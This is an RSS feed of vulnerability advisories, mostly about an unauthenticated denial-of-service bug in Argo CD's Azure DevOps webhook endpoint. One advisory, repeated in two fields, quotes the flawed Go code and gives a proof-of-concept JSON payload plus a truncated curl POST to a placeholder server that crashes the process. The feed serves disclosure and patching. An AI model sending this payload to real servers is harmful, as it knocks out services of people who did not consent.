<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://cve.radiocsirt.org</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Sat, 03 Oct 2026 12:46:20 +0000</lastBuildDate>
    <item>
      <title>Withdrawn: CLEANSTART-2026-AC12204 — go-git is a highly extensible git implementation library written in pure Go</title>
      <link>https://cve.radiocsirt.org/vuln/cleanstart-2026-ac12204</link>
      <description>&lt;p&gt;&lt;strong&gt;Withdrawn by the publisher.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; CleanStart: argo-cd-fips&lt;/p&gt;
&lt;p&gt;Multiple security vulnerabilities affect the argo-cd-fips package. go-git is a highly extensible git implementation library written in pure Go. See references for individual vulnerability details.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Withdrawn by the publisher.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; CleanStart: argo-cd-fips&lt;/p&gt;
&lt;p&gt;Multiple security vulnerabilities affect the argo-cd-fips package. go-git is a highly extensible git implementation library written in pure Go. See references for individual vulnerability details.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/cleanstart-2026-ac12204</guid>
    </item>
    <item>
      <title>EUVD-2026-254016</title>
      <link>https://cve.radiocsirt.org/vuln/euvd-2026-254016</link>
      <description>EUVD-2026-254016</description>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/euvd-2026-254016</guid>
    </item>
    <item>
      <title>fkie_cve-2025-59538</title>
      <link>https://cve.radiocsirt.org/vuln/fkie_cve-2025-59538</link>
      <description>&lt;p&gt;Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. For versions 2.9.0-rc1 through 2.14.19, 3.0.0-rc1 through 3.2.0-rc1, 3.1.6 and 3.0.17, when the webhook.azuredevops.username and webhook.azuredevops.password are not set in the default configuration, the /api/webhook endpoint crashes the entire argocd-server process when it receives an Azure DevOps Push event whose JSON array resource.refUpdates is empty. The slice index [0] is accessed without a length check, causing an index-out-of-range panic. A single unauthenticated HTTP POST is enough to kill the process. This issue is resolved in versions 2.14.20, 3.2.0-rc2, 3.1.8 and 3.0.19.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. For versions 2.9.0-rc1 through 2.14.19, 3.0.0-rc1 through 3.2.0-rc1, 3.1.6 and 3.0.17, when the webhook.azuredevops.username and webhook.azuredevops.password are not set in the default configuration, the /api/webhook endpoint crashes the entire argocd-server process when it receives an Azure DevOps Push event whose JSON array resource.refUpdates is empty. The slice index [0] is accessed without a length check, causing an index-out-of-range panic. A single unauthenticated HTTP POST is enough to kill the process. This issue is resolved in versions 2.14.20, 3.2.0-rc2, 3.1.8 and 3.0.19.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/fkie_cve-2025-59538</guid>
    </item>
    <item>
      <title>GHSA-gpx4-37g2-c8pv — Argo CD Unauthenticated Remote DoS via malformed Azure DevOps git.push webhook</title>
      <link>https://cve.radiocsirt.org/vuln/ghsa-gpx4-37g2-c8pv</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Go: github.com/argoproj/argo-cd/v2, Go: github.com/argoproj/argo-cd/v3&lt;/p&gt;
&lt;p&gt;### Summary&lt;/p&gt;
&lt;p&gt;In the default configuration, `webhook.azuredevops.username` and `webhook.azuredevops.password` not set, Argo CD’s /api/webhook endpoint crashes the entire argocd-server process when it receives an Azure DevOps Push event whose JSON array resource.refUpdates is empty.&lt;/p&gt;
&lt;p&gt;The slice index [0] is accessed without a length check, causing an index-out-of-range panic.&lt;/p&gt;
&lt;p&gt;A single unauthenticated HTTP POST is enough to kill the process.&lt;/p&gt;
&lt;p&gt;### Details&lt;/p&gt;
&lt;p&gt;```go
case azuredevops.GitPushEvent:
    // util/webhook/webhook.go -- line ≈147
    revision        = ParseRevision(payload.Resource.RefUpdates[0].Name)        // panics if slice empty
    change.shaAfter = ParseRevision(payload.Resource.RefUpdates[0].NewObjectID)
    change.shaBefore= ParseRevision(payload.Resource.RefUpdates[0].OldObjectID)
    touchedHead     = payload.Resource.RefUpdates[0].Name ==
                      payload.Resource.Repository.DefaultBranch
```&lt;/p&gt;
&lt;p&gt;If the attacker supplies &amp;#34;refUpdates&amp;#34;: [], the slice has length 0.&lt;/p&gt;
&lt;p&gt;The webhook code has no recover(), so the panic terminates the entire binary.&lt;/p&gt;
&lt;p&gt;### PoC&lt;/p&gt;
&lt;p&gt;payload-azure-empty.json:
```json
{
  &amp;#34;eventType&amp;#34;: &amp;#34;git.push&amp;#34;,
  &amp;#34;resource&amp;#34;: {
    &amp;#34;refUpdates&amp;#34;: [],
    &amp;#34;repository&amp;#34;: {
      &amp;#34;remoteUrl&amp;#34;: &amp;#34;https://example.com/dummy&amp;#34;,
      &amp;#34;defaultBranch&amp;#34;: &amp;#34;refs/heads/master&amp;#34;
    }
  }
}
```&lt;/p&gt;
&lt;p&gt;curl call:&lt;/p&gt;
&lt;p&gt;```shell
curl -k -X POST https://argocd.example.com/api/webhook \
     -H &amp;#39;X-Vss-ActivityId: 11111111-1111-1111-1111-111111111111&amp;#39; \
     -H &amp;#39;Content-Type: application/j…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Go: github.com/argoproj/argo-cd/v2, Go: github.com/argoproj/argo-cd/v3&lt;/p&gt;
&lt;p&gt;### Summary&lt;/p&gt;
&lt;p&gt;In the default configuration, `webhook.azuredevops.username` and `webhook.azuredevops.password` not set, Argo CD’s /api/webhook endpoint crashes the entire argocd-server process when it receives an Azure DevOps Push event whose JSON array resource.refUpdates is empty.&lt;/p&gt;
&lt;p&gt;The slice index [0] is accessed without a length check, causing an index-out-of-range panic.&lt;/p&gt;
&lt;p&gt;A single unauthenticated HTTP POST is enough to kill the process.&lt;/p&gt;
&lt;p&gt;### Details&lt;/p&gt;
&lt;p&gt;```go
case azuredevops.GitPushEvent:
    // util/webhook/webhook.go -- line ≈147
    revision        = ParseRevision(payload.Resource.RefUpdates[0].Name)        // panics if slice empty
    change.shaAfter = ParseRevision(payload.Resource.RefUpdates[0].NewObjectID)
    change.shaBefore= ParseRevision(payload.Resource.RefUpdates[0].OldObjectID)
    touchedHead     = payload.Resource.RefUpdates[0].Name ==
                      payload.Resource.Repository.DefaultBranch
```&lt;/p&gt;
&lt;p&gt;If the attacker supplies &amp;#34;refUpdates&amp;#34;: [], the slice has length 0.&lt;/p&gt;
&lt;p&gt;The webhook code has no recover(), so the panic terminates the entire binary.&lt;/p&gt;
&lt;p&gt;### PoC&lt;/p&gt;
&lt;p&gt;payload-azure-empty.json:
```json
{
  &amp;#34;eventType&amp;#34;: &amp;#34;git.push&amp;#34;,
  &amp;#34;resource&amp;#34;: {
    &amp;#34;refUpdates&amp;#34;: [],
    &amp;#34;repository&amp;#34;: {
      &amp;#34;remoteUrl&amp;#34;: &amp;#34;https://example.com/dummy&amp;#34;,
      &amp;#34;defaultBranch&amp;#34;: &amp;#34;refs/heads/master&amp;#34;
    }
  }
}
```&lt;/p&gt;
&lt;p&gt;curl call:&lt;/p&gt;
&lt;p&gt;```shell
curl -k -X POST https://argocd.example.com/api/webhook \
     -H &amp;#39;X-Vss-ActivityId: 11111111-1111-1111-1111-111111111111&amp;#39; \
     -H &amp;#39;Content-Type: application/j…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/ghsa-gpx4-37g2-c8pv</guid>
    </item>
    <item>
      <title>openSUSE-SU-2025:15666-1 — govulncheck-vulndb-0.0.20251023T162509-1.1 on GA media</title>
      <link>https://cve.radiocsirt.org/vuln/opensuse-su-2025:15666-1</link>
      <description>&lt;p&gt;govulncheck-vulndb-0.0.20251023T162509-1.1 on GA media&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;govulncheck-vulndb-0.0.20251023T162509-1.1 on GA media&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/opensuse-su-2025:15666-1</guid>
    </item>
    <item>
      <title>RHSA-2025:17730 — Red Hat Security Advisory: Red Hat OpenShift GitOps v1.16.4 security update</title>
      <link>https://cve.radiocsirt.org/vuln/rhsa-2025:17730</link>
      <description>&lt;p&gt;crypto/x509: Usage of ExtKeyUsageAny disables policy validation in crypto/x509 database/sql: Postgres Scan Race Condition github.com/argoproj/argo-cd/v2: github.com/argoproj/argo-cd/v3: Argo CD race condition leading to crash argocd: argocd-server: gitops: Unauthenticated argocd-server panic via a malicious Bitbucket-Server webhook payload github.com/argoproj/argo-cd: Argo CD unauthenticated Denial of Service github.com/argoproj/argo-cd: Argo CD unauthenticated Remote Denial of Service&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;crypto/x509: Usage of ExtKeyUsageAny disables policy validation in crypto/x509 database/sql: Postgres Scan Race Condition github.com/argoproj/argo-cd/v2: github.com/argoproj/argo-cd/v3: Argo CD race condition leading to crash argocd: argocd-server: gitops: Unauthenticated argocd-server panic via a malicious Bitbucket-Server webhook payload github.com/argoproj/argo-cd: Argo CD unauthenticated Denial of Service github.com/argoproj/argo-cd: Argo CD unauthenticated Remote Denial of Service&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/rhsa-2025:17730</guid>
    </item>
    <item>
      <title>WID-SEC-W-2025-2251 — Red Hat OpenShift GitOps: Mehrere Schwachstellen</title>
      <link>https://cve.radiocsirt.org/vuln/wid-sec-w-2025-2251</link>
      <description>&lt;p&gt;Ein entfernter, anonymer Angreifer kann mehrere Schwachstellen in Red Hat OpenShift GitOps ausnutzen, um Daten zu manipulieren, falsche Informationen darzustellen, oder einen Denial of Service zu verursachen.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;Ein entfernter, anonymer Angreifer kann mehrere Schwachstellen in Red Hat OpenShift GitOps ausnutzen, um Daten zu manipulieren, falsche Informationen darzustellen, oder einen Denial of Service zu verursachen.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/wid-sec-w-2025-2251</guid>
    </item>
  </channel>
</rss>
